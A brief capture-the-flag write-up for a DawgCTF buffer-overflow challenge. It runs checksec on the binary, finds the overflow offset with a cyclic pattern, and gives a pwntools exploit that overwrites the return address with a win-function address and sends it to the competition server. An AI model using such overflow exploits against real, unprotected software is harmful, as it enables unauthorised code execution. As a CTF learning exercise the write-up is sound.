# bof on the top
this one was just a classic bufferovflow 
we will start by examining the binary `checksec ./bof`
![checksec](https://github.com/pop-eax/DawgCTF/raw/master/pwn/bof%20to%20the%20top/image.png)
nothing unique no protection no ASLR
so I just got a cyclic pattern and located the overflowdone :D
exploit code ```from pwn import *
p = remote("ctf.umbccd.io", 4000)#p = process("./bof")
win = p32(0x08049182)
payload = ("A"*62).encode() + win + p32(0xdeadbeef) + p32(1200) + p32(366)
input("attach gdb")p.recvuntil("name?")p.sendline(payload)p.recvuntil("singing?")p.sendline()
data = p.recvline()print(data.decode())data = p.recvline()print(data.decode())p.interactive()```